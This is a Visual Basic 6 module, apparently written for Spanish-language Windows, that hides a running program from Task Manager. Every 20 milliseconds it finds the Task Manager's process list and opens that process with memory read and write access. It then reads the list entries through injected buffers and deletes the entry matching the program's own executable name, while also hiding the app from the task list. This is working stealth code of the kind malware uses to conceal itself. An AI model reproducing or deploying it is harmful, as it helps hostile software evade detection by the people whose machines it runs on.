Attribute VB_Name = "ProcesosHide"
Option Explicit
Public Declare Function FindWindow Lib "USER32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function EnumChildWindows Lib "USER32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function GetWindowText Lib "USER32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetClassName Lib "USER32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Public Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Declare Function GetWindowThreadProcessId Lib "USER32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function ReadProcessMemory Lib "Kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function WriteProcessMemory Lib "Kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OpenProcess Lib "Kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long

Public Declare Function SetTimer Lib "USER32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Public Declare Function KillTimer Lib "USER32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long

Const PROCESS_VM_OPERATION = &H8
Const PROCESS_VM_READ = &H10
Const PROCESS_VM_WRITE = &H20
Const PROCESS_ALL_ACCESS = 0
Private Const PAGE_READWRITE = &H4&

Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const MEM_DECOMMIT = &H4000
Const MEM_RELEASE = &H8000
Const MEM_FREE = &H10000
Const MEM_PRIVATE = &H20000
Const MEM_MAPPED = &H40000
Const MEM_TOP_DOWN = &H100000

Private Declare Function VirtualAllocEx Lib "Kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal FlProtect As Long) As Long
Private Declare Function VirtualFreeEx Lib "Kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Function CloseHandle Lib "Kernel32" (ByVal hObject As Long) As Long

Private Const LVM_FIRST = &H1000
Private Const LVM_GETTITEMCOUNT& = (LVM_FIRST + 4)

Private Const LVM_GETITEMW = (LVM_FIRST + 75)
Private Const LVIF_TEXT = &H1
Private Const LVM_DELETEITEM = 4104

Public Type LV_ITEM
    mask As Long
    iItem As Long
    iSubItem As Long
    state As Long
    stateMask As Long
    lpszText As Long 'LPCSTR
    cchTextMax As Long
    iImage As Long
    lParam As Long
    iIndent As Long
End Type

Type LV_TEXT
    sItemText As String * 80
End Type

Public Function Procesos(ByVal hWnd2 As Long, lParam As String) As Boolean
    Dim nombre As String * 255, nombreClase As String * 255
    Dim Nombre2 As String, nombreClase2 As String
    Dim x As Long, Y As Long
    x = GetWindowText(hWnd2, nombre, 255)
    Y = GetClassName(hWnd2, nombreClase, 255)
    
    nombre = Left(nombre, x)
    nombreClase = Left(nombreClase, Y)
    Nombre2 = Trim(nombre)
    nombreClase2 = Trim(nombreClase)
    If nombreClase2 = "SysListView32" And Nombre2 = "Procesos" Then
        OcultarItems (hWnd2)
        Exit Function
    End If
    If Nombre2 = "" And nombreClase2 = "" Then
        Procesos = False
    Else
        Procesos = True
    End If
End Function

Private Function OcultarItems(ByVal hListView As Long) ' As Variant
    Dim pid As Long, tid As Long
    Dim hProceso As Long, nElem As Long, lEscribiendo As Long, i As Long
    Dim DirMemComp As Long, dwTam As Long
    Dim DirMemComp2 As Long
    Dim sLVItems() As String
    Dim li As LV_ITEM
    Dim lt As LV_TEXT
    If hListView = 0 Then Exit Function
    tid = GetWindowThreadProcessId(hListView, pid)
    nElem = SendMessage(hListView, LVM_GETTITEMCOUNT, 0, 0&)
    If nElem = 0 Then Exit Function
    ReDim sLVItems(nElem - 1)
    li.cchTextMax = 80
    dwTam = Len(li)
    DirMemComp = GetMemComp(pid, dwTam, hProceso)
    DirMemComp2 = GetMemComp(pid, LenB(lt), hProceso)
    For i = 0 To nElem - 1
        li.lpszText = DirMemComp2
        li.cchTextMax = 80
        li.iItem = i
        li.mask = LVIF_TEXT
        WriteProcessMemory hProceso, ByVal DirMemComp, li, dwTam, lEscribiendo
        lt.sItemText = Space(80)
        WriteProcessMemory hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo
        Call SendMessage(hListView, LVM_GETITEMW, 0, ByVal DirMemComp)
        Call ReadProcessMemory(hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo)
        If TrimNull(StrConv(lt.sItemText, vbFromUnicode)) = App.EXEName & ".exe" Then '<===========CAMBIAR
            Call SendMessage(hListView, LVM_DELETEITEM, i, 0)
            Exit Function
        End If
    Next i
    CloseMemComp hProceso, DirMemComp, dwTam
    CloseMemComp hProceso, DirMemComp2, LenB(lt)
End Function

Private Function GetMemComp(ByVal pid As Long, ByVal memTam As Long, hProceso As Long) As Long
    hProceso = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, pid)
    GetMemComp = VirtualAllocEx(ByVal hProceso, ByVal 0&, ByVal memTam, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
End Function

Private Sub CloseMemComp(ByVal hProceso As Long, ByVal DirMem As Long, ByVal memTam As Long)
    Call VirtualFreeEx(hProceso, ByVal DirMem, memTam, MEM_RELEASE)
    CloseHandle hProceso
End Sub


Private Function TrimNull(sInput As String) As String
    Dim pos As Integer
    pos = InStr(sInput, Chr$(0))
    If pos Then
        TrimNull = Left$(sInput, pos - 1)
        Exit Function
    End If
    TrimNull = sInput
End Function


Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
    Dim Handle As Long
    Handle = FindWindow(vbNullString, "Administrador de tareas de Windows")
    If Handle <> 0 Then EnumChildWindows Handle, AddressOf Procesos, 1
End Sub

Public Sub Ocultar(ByVal hwnd As Long)
    On Error Resume Next
    App.TaskVisible = False
    SetTimer hwnd, 0, 20, AddressOf TimerProc
End Sub

Public Sub Mostrar(ByVal hwnd As Long)
    On Error Resume Next
    App.TaskVisible = True
    KillTimer hwnd, 0
End Sub
